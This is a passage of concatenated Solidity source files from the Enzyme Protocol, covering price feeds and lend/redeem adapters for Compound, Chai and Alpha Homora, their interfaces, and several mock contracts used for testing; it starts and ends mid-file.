uint256 executableTimestamp = vaultProxyToMigrationRequest[_vaultProxy]
.executableTimestamp;
return executableTimestamp > 0 && block.timestamp >= executableTimestamp;
}
/// @notice Checks whether a migration request exists for a given VaultProxy
/// @param _vaultProxy The VaultProxy instance
/// @return hasMigrationRequest_ True if a migration request exists
function hasMigrationRequest(address _vaultProxy)
external
view
override
returns (bool hasMigrationRequest_)
{
return vaultProxyToMigrationRequest[_vaultProxy].executableTimestamp > 0;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../persistent/vault/VaultLibBaseCore.sol";
/// @title MockVaultLib Contract
/// @author Enzyme Council <[email protected]>
/// @notice A mock VaultLib implementation that only extends VaultLibBaseCore
contract MockVaultLib is VaultLibBaseCore {
function getAccessor() external view returns (address) {
return accessor;
}
function getCreator() external view returns (address) {
return creator;
}
function getMigrator() external view returns (address) {
return migrator;
}
function getOwner() external view returns (address) {
return owner;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity ^0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/// @title ICERC20 Interface
/// @author Enzyme Council <[email protected]>
/// @notice Minimal interface for interactions with Compound tokens (cTokens)
interface ICERC20 is IERC20 {
function decimals() external view returns (uint8);
function mint(uint256) external returns (uint256);
function redeem(uint256) external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function underlying() external returns (address);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../../../interfaces/ICERC20.sol";
import "../../../utils/DispatcherOwnerMixin.sol";
import "../IDerivativePriceFeed.sol";
/// @title CompoundPriceFeed Contract
/// @author Enzyme Council <[email protected]>
/// @notice Price source oracle for Compound Tokens (cTokens)
contract CompoundPriceFeed is IDerivativePriceFeed, DispatcherOwnerMixin {
using SafeMath for uint256;
event CTokenAdded(address indexed cToken, address indexed token);
uint256 private constant CTOKEN_RATE_DIVISOR = 10**18;
mapping(address => address) private cTokenToToken;
constructor(
address _dispatcher,
address _weth,
address _ceth,
address[] memory cERC20Tokens
) public DispatcherOwnerMixin(_dispatcher) {
// Set cEth
cTokenToToken[_ceth] = _weth;
emit CTokenAdded(_ceth, _weth);
// Set any other cTokens
if (cERC20Tokens.length > 0) {
__addCERC20Tokens(cERC20Tokens);
}
}
/// @notice Converts a given amount of a derivative to its underlying asset values
/// @param _derivative The derivative to convert
/// @param _derivativeAmount The amount of the derivative to convert
/// @return underlyings_ The underlying assets for the _derivative
/// @return underlyingAmounts_ The amount of each underlying asset for the equivalent derivative amount
function calcUnderlyingValues(address _derivative, uint256 _derivativeAmount)
external
override
returns (address[] memory underlyings_, uint256[] memory underlyingAmounts_)
{
underlyings_ = new address[](1);
underlyings_[0] = cTokenToToken[_derivative];
require(underlyings_[0] != address(0), "calcUnderlyingValues: Unsupported derivative");
underlyingAmounts_ = new uint256[](1);
// Returns a rate scaled to 10^18
underlyingAmounts_[0] = _derivativeAmount
.mul(ICERC20(_derivative).exchangeRateStored())
.div(CTOKEN_RATE_DIVISOR);
return (underlyings_, underlyingAmounts_);
}
/// @notice Checks if an asset is supported by the price feed
/// @param _asset The asset to check
/// @return isSupported_ True if the asset is supported
function isSupportedAsset(address _asset) external view override returns (bool isSupported_) {
return cTokenToToken[_asset] != address(0);
}
//////////////////////
// CTOKENS REGISTRY //
//////////////////////
/// @notice Adds cTokens to the price feed
/// @param _cTokens cTokens to add
/// @dev Only allows CERC20 tokens. CEther is set in the constructor.
function addCTokens(address[] calldata _cTokens) external onlyDispatcherOwner {
__addCERC20Tokens(_cTokens);
}
/// @dev Helper to add cTokens
function __addCERC20Tokens(address[] memory _cTokens) private {
require(_cTokens.length > 0, "__addCTokens: Empty _cTokens");
for (uint256 i; i < _cTokens.length; i++) {
require(cTokenToToken[_cTokens[i]] == address(0), "__addCTokens: Value already set");
address token = ICERC20(_cTokens[i]).underlying();
cTokenToToken[_cTokens[i]] = token;
emit CTokenAdded(_cTokens[i], token);
}
}
////////////////////
// STATE GETTERS //
///////////////////
/// @notice Returns the underlying asset of a given cToken
/// @param _cToken The cToken for which to get the underlying asset
/// @return token_ The underlying token
function getTokenFromCToken(address _cToken) public view returns (address token_) {
return cTokenToToken[_cToken];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../../infrastructure/price-feeds/derivatives/feeds/CompoundPriceFeed.sol";
import "../../../../interfaces/ICERC20.sol";
import "../../../../interfaces/ICEther.sol";
import "../../../../interfaces/IWETH.sol";
import "../utils/AdapterBase.sol";
/// @title CompoundAdapter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Adapter for Compound <https://compound.finance/>
contract CompoundAdapter is AdapterBase {
address private immutable COMPOUND_PRICE_FEED;
address private immutable WETH_TOKEN;
constructor(
address _integrationManager,
address _compoundPriceFeed,
address _wethToken
) public AdapterBase(_integrationManager) {
COMPOUND_PRICE_FEED = _compoundPriceFeed;
WETH_TOKEN = _wethToken;
}
/// @dev Needed to receive ETH during cEther lend/redeem
receive() external payable {}
/// @notice Provides a constant string identifier for an adapter
/// @return identifier_ An identifier string
function identifier() external pure override returns (string memory identifier_) {
return "COMPOUND";
}
/// @notice Parses the expected assets to receive from a call on integration
/// @param _selector The function selector for the callOnIntegration
/// @param _encodedCallArgs The encoded parameters for the callOnIntegration
/// @return spendAssetsHandleType_ A type that dictates how to handle granting
/// the adapter access to spend assets (`None` by default)
/// @return spendAssets_ The assets to spend in the call
/// @return spendAssetAmounts_ The max asset amounts to spend in the call
/// @return incomingAssets_ The assets to receive in the call
/// @return minIncomingAssetAmounts_ The min asset amounts to receive in the call
function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)
external
view
override
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
)
{
if (_selector == LEND_SELECTOR) {
(address cToken, uint256 tokenAmount, uint256 minCTokenAmount) = __decodeCallArgs(
_encodedCallArgs
);
address token = CompoundPriceFeed(COMPOUND_PRICE_FEED).getTokenFromCToken(cToken);
require(token != address(0), "parseAssetsForMethod: Unsupported cToken");
spendAssets_ = new address[](1);
spendAssets_[0] = token;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = tokenAmount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = cToken;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = minCTokenAmount;
} else if (_selector == REDEEM_SELECTOR) {
(address cToken, uint256 cTokenAmount, uint256 minTokenAmount) = __decodeCallArgs(
_encodedCallArgs
);
address token = CompoundPriceFeed(COMPOUND_PRICE_FEED).getTokenFromCToken(cToken);
require(token != address(0), "parseAssetsForMethod: Unsupported cToken");
spendAssets_ = new address[](1);
spendAssets_[0] = cToken;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = cTokenAmount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = token;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = minTokenAmount;
} else {
revert("parseAssetsForMethod: _selector invalid");
}
return (
IIntegrationManager.SpendAssetsHandleType.Transfer,
spendAssets_,
spendAssetAmounts_,
incomingAssets_,
minIncomingAssetAmounts_
);
}
/// @notice Lends an amount of a token to Compound
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function lend(
address _vaultProxy,
bytes calldata,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
fundAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
// More efficient to parse all from _encodedAssetTransferArgs
(
,
address[] memory spendAssets,
uint256[] memory spendAssetAmounts,
address[] memory incomingAssets
) = __decodeEncodedAssetTransferArgs(_encodedAssetTransferArgs);
if (spendAssets[0] == WETH_TOKEN) {
IWETH(WETH_TOKEN).withdraw(spendAssetAmounts[0]);
ICEther(incomingAssets[0]).mint{value: spendAssetAmounts[0]}();
} else {
__approveMaxAsNeeded(spendAssets[0], incomingAssets[0], spendAssetAmounts[0]);
ICERC20(incomingAssets[0]).mint(spendAssetAmounts[0]);
}
}
/// @notice Redeems an amount of cTokens from Compound
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function redeem(
address _vaultProxy,
bytes calldata,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
fundAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
// More efficient to parse all from _encodedAssetTransferArgs
(
,
address[] memory spendAssets,
uint256[] memory spendAssetAmounts,
address[] memory incomingAssets
) = __decodeEncodedAssetTransferArgs(_encodedAssetTransferArgs);
ICERC20(spendAssets[0]).redeem(spendAssetAmounts[0]);
if (incomingAssets[0] == WETH_TOKEN) {
IWETH(payable(WETH_TOKEN)).deposit{value: payable(address(this)).balance}();
}
}
// PRIVATE FUNCTIONS
/// @dev Helper to decode callArgs for lend and redeem
function __decodeCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (
address cToken_,
uint256 outgoingAssetAmount_,
uint256 minIncomingAssetAmount_
)
{
return abi.decode(_encodedCallArgs, (address, uint256, uint256));
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `COMPOUND_PRICE_FEED` variable
/// @return compoundPriceFeed_ The `COMPOUND_PRICE_FEED` variable value
function getCompoundPriceFeed() external view returns (address compoundPriceFeed_) {
return COMPOUND_PRICE_FEED;
}
/// @notice Gets the `WETH_TOKEN` variable
/// @return wethToken_ The `WETH_TOKEN` variable value
function getWethToken() external view returns (address wethToken_) {
return WETH_TOKEN;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity ^0.6.12;
/// @title ICEther Interface
/// @author Enzyme Council <[email protected]>
/// @notice Minimal interface for interactions with Compound Ether
interface ICEther {
function mint() external payable;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/// @title IChai Interface
/// @author Enzyme Council <[email protected]>
/// @notice Minimal interface for our interactions with the Chai contract
interface IChai is IERC20 {
function exit(address, uint256) external;
function join(address, uint256) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../../interfaces/IChai.sol";
import "../utils/AdapterBase.sol";
/// @title ChaiAdapter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Adapter for Chai <https://github.com/dapphub/chai>
contract ChaiAdapter is AdapterBase {
address private immutable CHAI;
address private immutable DAI;
constructor(
address _integrationManager,
address _chai,
address _dai
) public AdapterBase(_integrationManager) {
CHAI = _chai;
DAI = _dai;
}
/// @notice Provides a constant string identifier for an adapter
/// @return identifier_ An identifier string
function identifier() external pure override returns (string memory identifier_) {
return "CHAI";
}
/// @notice Parses the expected assets to receive from a call on integration
/// @param _selector The function selector for the callOnIntegration
/// @param _encodedCallArgs The encoded parameters for the callOnIntegration
/// @return spendAssetsHandleType_ A type that dictates how to handle granting
/// the adapter access to spend assets (`None` by default)
/// @return spendAssets_ The assets to spend in the call
/// @return spendAssetAmounts_ The max asset amounts to spend in the call
/// @return incomingAssets_ The assets to receive in the call
/// @return minIncomingAssetAmounts_ The min asset amounts to receive in the call
function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)
external
view
override
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
)
{
if (_selector == LEND_SELECTOR) {
(uint256 daiAmount, uint256 minChaiAmount) = __decodeCallArgs(_encodedCallArgs);
spendAssets_ = new address[](1);
spendAssets_[0] = DAI;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = daiAmount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = CHAI;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = minChaiAmount;
} else if (_selector == REDEEM_SELECTOR) {
(uint256 chaiAmount, uint256 minDaiAmount) = __decodeCallArgs(_encodedCallArgs);
spendAssets_ = new address[](1);
spendAssets_[0] = CHAI;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = chaiAmount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = DAI;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = minDaiAmount;
} else {
revert("parseAssetsForMethod: _selector invalid");
}
return (
IIntegrationManager.SpendAssetsHandleType.Transfer,
spendAssets_,
spendAssetAmounts_,
incomingAssets_,
minIncomingAssetAmounts_
);
}
/// @notice Lend Dai for Chai
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function lend(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
fundAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
(uint256 daiAmount, ) = __decodeCallArgs(_encodedCallArgs);
__approveMaxAsNeeded(DAI, CHAI, daiAmount);
// Execute Lend on Chai
// Chai.join allows specifying the vaultProxy as the destination of Chai tokens
IChai(CHAI).join(_vaultProxy, daiAmount);
}
/// @notice Redeem Chai for Dai
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function redeem(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
fundAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
(uint256 chaiAmount, ) = __decodeCallArgs(_encodedCallArgs);
// Execute redeem on Chai
// Chai.exit sends Dai back to the adapter
IChai(CHAI).exit(address(this), chaiAmount);
}
// PRIVATE FUNCTIONS
/// @dev Helper to decode the encoded call arguments
function __decodeCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (uint256 outgoingAmount_, uint256 minIncomingAmount_)
{
return abi.decode(_encodedCallArgs, (uint256, uint256));
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `CHAI` variable value
/// @return chai_ The `CHAI` variable value
function getChai() external view returns (address chai_) {
return CHAI;
}
/// @notice Gets the `DAI` variable value
/// @return dai_ The `DAI` variable value
function getDai() external view returns (address dai_) {
return DAI;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../utils/SwapperBase.sol";
contract MockGenericIntegratee is SwapperBase {
function swap(
address[] calldata _assetsToIntegratee,
uint256[] calldata _assetsToIntegrateeAmounts,
address[] calldata _assetsFromIntegratee,
uint256[] calldata _assetsFromIntegrateeAmounts
) external payable {
__swap(
msg.sender,
_assetsToIntegratee,
_assetsToIntegrateeAmounts,
_assetsFromIntegratee,
_assetsFromIntegrateeAmounts
);
}
function swapOnBehalf(
address payable _trader,
address[] calldata _assetsToIntegratee,
uint256[] calldata _assetsToIntegrateeAmounts,
address[] calldata _assetsFromIntegratee,
uint256[] calldata _assetsFromIntegrateeAmounts
) external payable {
__swap(
_trader,
_assetsToIntegratee,
_assetsToIntegrateeAmounts,
_assetsFromIntegratee,
_assetsFromIntegrateeAmounts
);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../prices/CentralizedRateProvider.sol";
import "../tokens/MockToken.sol";
import "../utils/SwapperBase.sol";
contract MockChaiIntegratee is MockToken, SwapperBase {
address private immutable CENTRALIZED_RATE_PROVIDER;
address public immutable DAI;
constructor(
address _dai,
address _centralizedRateProvider,
uint8 _decimals
) public MockToken("Chai", "CHAI", _decimals) {
_setupDecimals(_decimals);
CENTRALIZED_RATE_PROVIDER = _centralizedRateProvider;
DAI = _dai;
}
function join(address, uint256 _daiAmount) external {
uint256 tokenDecimals = ERC20(DAI).decimals();
uint256 chaiDecimals = decimals();
// Calculate the amount of tokens per one unit of DAI
uint256 daiPerChaiUnit = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValue(address(this), 10**uint256(chaiDecimals), DAI);
// Calculate the inverse rate to know the amount of CHAI to return from a unit of DAI
uint256 inverseRate = uint256(10**tokenDecimals).mul(10**uint256(chaiDecimals)).div(
daiPerChaiUnit
);
// Mint and send those CHAI to sender
uint256 destAmount = _daiAmount.mul(inverseRate).div(10**tokenDecimals);
_mint(address(this), destAmount);
__swapAssets(msg.sender, DAI, _daiAmount, address(this), destAmount);
}
function exit(address payable _trader, uint256 _chaiAmount) external {
uint256 destAmount = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER).calcLiveAssetValue(
address(this),
_chaiAmount,
DAI
);
// Burn CHAI of the trader.
_burn(_trader, _chaiAmount);
// Release DAI to the trader.
ERC20(DAI).transfer(msg.sender, destAmount);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../../interfaces/IAlphaHomoraV1Bank.sol";
import "../../../../interfaces/IWETH.sol";
import "../utils/AdapterBase.sol";
/// @title AlphaHomoraV1Adapter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Adapter for Alpha Homora v1 <https://alphafinance.io/>
contract AlphaHomoraV1Adapter is AdapterBase {
address private immutable IBETH_TOKEN;
address private immutable WETH_TOKEN;
constructor(
address _integrationManager,
address _ibethToken,
address _wethToken
) public AdapterBase(_integrationManager) {
IBETH_TOKEN = _ibethToken;
WETH_TOKEN = _wethToken;
}
/// @dev Needed to receive ETH during redemption
receive() external payable {}
/// @notice Provides a constant string identifier for an adapter
/// @return identifier_ An identifier string
function identifier() external pure override returns (string memory identifier_) {
return "ALPHA_HOMORA_V1";
}
/// @notice Parses the expected assets to receive from a call on integration
/// @param _selector The function selector for the callOnIntegration
/// @param _encodedCallArgs The encoded parameters for the callOnIntegration
/// @return spendAssetsHandleType_ A type that dictates how to handle granting
/// the adapter access to spend assets (`None` by default)
/// @return spendAssets_ The assets to spend in the call
/// @return spendAssetAmounts_ The max asset amounts to spend in the call
/// @return incomingAssets_ The assets to receive in the call
/// @return minIncomingAssetAmounts_ The min asset amounts to receive in the call
function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)
external
view
override
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
)
{
if (_selector == LEND_SELECTOR) {
(uint256 wethAmount, uint256 minIbethAmount) = __decodeCallArgs(_encodedCallArgs);
spendAssets_ = new address[](1);
spendAssets_[0] = WETH_TOKEN;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = wethAmount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = IBETH_TOKEN;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = minIbethAmount;
} else if (_selector == REDEEM_SELECTOR) {
(uint256 ibethAmount, uint256 minWethAmount) = __decodeCallArgs(_encodedCallArgs);
spendAssets_ = new address[](1);
spendAssets_[0] = IBETH_TOKEN;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = ibethAmount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = WETH_TOKEN;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = minWethAmount;
} else {
revert("parseAssetsForMethod: _selector invalid");
}
return (
IIntegrationManager.SpendAssetsHandleType.Transfer,
spendAssets_,
spendAssetAmounts_,
incomingAssets_,
minIncomingAssetAmounts_
);
}
/// @notice Lends WETH for ibETH
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function lend(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
fundAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
(uint256 wethAmount, ) = __decodeCallArgs(_encodedCallArgs);
IWETH(payable(WETH_TOKEN)).withdraw(wethAmount);
IAlphaHomoraV1Bank(IBETH_TOKEN).deposit{value: payable(address(this)).balance}();
}
/// @notice Redeems ibETH for WETH
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function redeem(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata _encodedAssetTransferArgs
)
external
onlyIntegrationManager
fundAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)
{
(uint256 ibethAmount, ) = __decodeCallArgs(_encodedCallArgs);
IAlphaHomoraV1Bank(IBETH_TOKEN).withdraw(ibethAmount);
IWETH(payable(WETH_TOKEN)).deposit{value: payable(address(this)).balance}();
}
// PRIVATE FUNCTIONS
/// @dev Helper to decode the encoded call arguments
function __decodeCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (uint256 outgoingAmount_, uint256 minIncomingAmount_)
{
return abi.decode(_encodedCallArgs, (uint256, uint256));
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `IBETH_TOKEN` variable
/// @return ibethToken_ The `IBETH_TOKEN` variable value
function getIbethToken() external view returns (address ibethToken_) {
return IBETH_TOKEN;
}
/// @notice Gets the `WETH_TOKEN` variable
/// @return wethToken_ The `WETH_TOKEN` variable value
function getWethToken() external view returns (address wethToken_) {
return WETH_TOKEN;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IAlphaHomoraV1Bank interface
/// @author Enzyme Council <[email protected]>
interface IAlphaHomoraV1Bank {
function deposit() external payable;
function totalETH() external view returns (uint256);
function totalSupply() external view returns (uint256);
function withdraw(uint256) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../../../interfaces/IAlphaHomoraV1Bank.sol";
import "../IDerivativePriceFeed.sol";
/// @title AlphaHomoraV1PriceFeed Contract
/// @author Enzyme Council <[email protected]>
/// @notice Price source oracle for Alpha Homora v1 ibETH
contract AlphaHomoraV1PriceFeed is IDerivativePriceFeed {
using SafeMath for uint256;
address private immutable IBETH_TOKEN;
address private immutable WETH_TOKEN;
constructor(address _ibethToken, address _wethToken) public {
IBETH_TOKEN = _ibethToken;
WETH_TOKEN = _wethToken;
}
/// @notice Converts a given amount of a derivative to its underlying asset values
/// @param _derivative The derivative to convert
/// @param _derivativeAmount The amount of the derivative to convert
/// @return underlyings_ The underlying assets for the _derivative
/// @return underlyingAmounts_ The amount of each underlying asset for the equivalent derivative amount
function calcUnderlyingValues(address _derivative, uint256 _derivativeAmount)
external
override
returns (address[] memory underlyings_, uint256[] memory underlyingAmounts_)
{
require(isSupportedAsset(_derivative), "calcUnderlyingValues: Only ibETH is supported");
underlyings_ = new address[](1);
underlyings_[0] = WETH_TOKEN;
underlyingAmounts_ = new uint256[](1);
IAlphaHomoraV1Bank alphaHomoraBankContract = IAlphaHomoraV1Bank(IBETH_TOKEN);
underlyingAmounts_[0] = _derivativeAmount.mul(alphaHomoraBankContract.totalETH()).div(
alphaHomoraBankContract.totalSupply()
);
return (underlyings_, underlyingAmounts_);
}
/// @notice Checks if an asset is supported by the price feed
/// @param _asset The asset to check
/// @return isSupported_ True if the asset is supported
function isSupportedAsset(address _asset) public view override returns (bool isSupported_) {
return _asset == IBETH_TOKEN;
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `IBETH_TOKEN` variable
/// @return ibethToken_ The `IBETH_TOKEN` variable value
function getIbethToken() external view returns (address ibethToken_) {
return IBETH_TOKEN;
}
/// @notice Gets the `WETH_TOKEN` variable
/// @return wethToken_ The `WETH_TOKEN` variable value
function getWethToken() external view returns (address wethToken_) {
return WETH_TOKEN;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../../../interfaces/IMakerDaoPot.sol";
import "../IDerivativePriceFeed.sol";
/// @title ChaiPriceFeed Contract
/// @author Enzyme Council <[email protected]>
/// @notice Price source oracle for Chai
contract ChaiPriceFeed is IDerivativePriceFeed {
using SafeMath for uint256;
uint256 private constant CHI_DIVISOR = 10**27;
address private immutable CHAI;
address private immutable DAI;
address private immutable DSR_POT;
constructor(
address _chai,
address _dai,
address _dsrPot
) public {
CHAI = _chai;
DAI = _dai;
DSR_POT = _dsrPot;
}
/// @notice Converts a given amount of a derivative to its underlying asset values
/// @param _derivative The derivative to convert
/// @param _derivativeAmount The amount of the derivative to convert
/// @return underlyings_ The underlying assets for the _derivative
/// @return underlyingAmounts_ The amount of each underlying asset for the equivalent derivative amount
/// @dev Calculation based on Chai source: https://github.com/dapphub/chai/blob/master/src/chai.sol
function calcUnderlyingValues(address _derivative, uint256 _derivativeAmount)
external
override
returns (address[] memory underlyings_, uint256[] memory underlyingAmounts_)
{
require(isSupportedAsset(_derivative), "calcUnderlyingValues: Only Chai is supported");
underlyings_ = new address[](1);
underlyings_[0] = DAI;
underlyingAmounts_ = new uint256[](1);
underlyingAmounts_[0] = _derivativeAmount.mul(IMakerDaoPot(DSR_POT).chi()).div(
CHI_DIVISOR
);
}
/// @notice Checks if an asset is supported by the price feed
/// @param _asset The asset to check
/// @return isSupported_ True if the asset is supported
function isSupportedAsset(address _asset) public view override returns (bool isSupported_) {
return _asset == CHAI;
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `CHAI` variable value
/// @return chai_ The `CHAI` variable value
function getChai() external view returns (address chai_) {
return CHAI;
}
/// @notice Gets the `DAI` variable value
/// @return dai_ The `DAI` variable value
function getDai() external view returns (address dai_) {
return DAI;
}
/// @notice Gets the `DSR_POT` variable value
/// @return dsrPot_ The `DSR_POT` variable value
function getDsrPot() external view returns (address dsrPot_) {
return DSR_POT;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @notice Limited interface for Maker DSR's Pot contract
/// @dev See DSR integration guide: https://github.com/makerdao/developerguides/blob/master/dai/dsr-integration-guide/dsr-integration-guide-01.md
interface IMakerDaoPot {
function chi() external view returns (uint256);
function rho() external view returns (uint256);
function drip() external returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./FeeBase.sol";
/// @title EntranceRateFeeBase Contract
/// @author Enzyme Council <[email protected]>
/// @notice Calculates a fee based on a rate to be charged to an investor upon entering a fund
abstract contract EntranceRateFeeBase is FeeBase {
using SafeMath for uint256;
event FundSettingsAdded(address indexed comptrollerProxy, uint256 rate);
event Settled(address indexed comptrollerProxy, address indexed payer, uint256 sharesQuantity);
uint256 private constant RATE_DIVISOR = 10**18;
IFeeManager.SettlementType private immutable SETTLEMENT_TYPE;
mapping(address => uint256) private comptrollerProxyToRate;
constructor(address _feeManager, IFeeManager.SettlementType _settlementType)
public
FeeBase(_feeManager)
{
require(
_settlementType == IFeeManager.SettlementType.Burn ||
_settlementType == IFeeManager.SettlementType.Direct,
"constructor: Invalid _settlementType"
);
SETTLEMENT_TYPE = _settlementType;
}
// EXTERNAL FUNCTIONS
/// @notice Add the fee settings for a fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _settingsData Encoded settings to apply to the policy for a fund
function addFundSettings(address _comptrollerProxy, bytes calldata _settingsData)
external
override
onlyFeeManager
{
uint256 rate = abi.decode(_settingsData, (uint256));
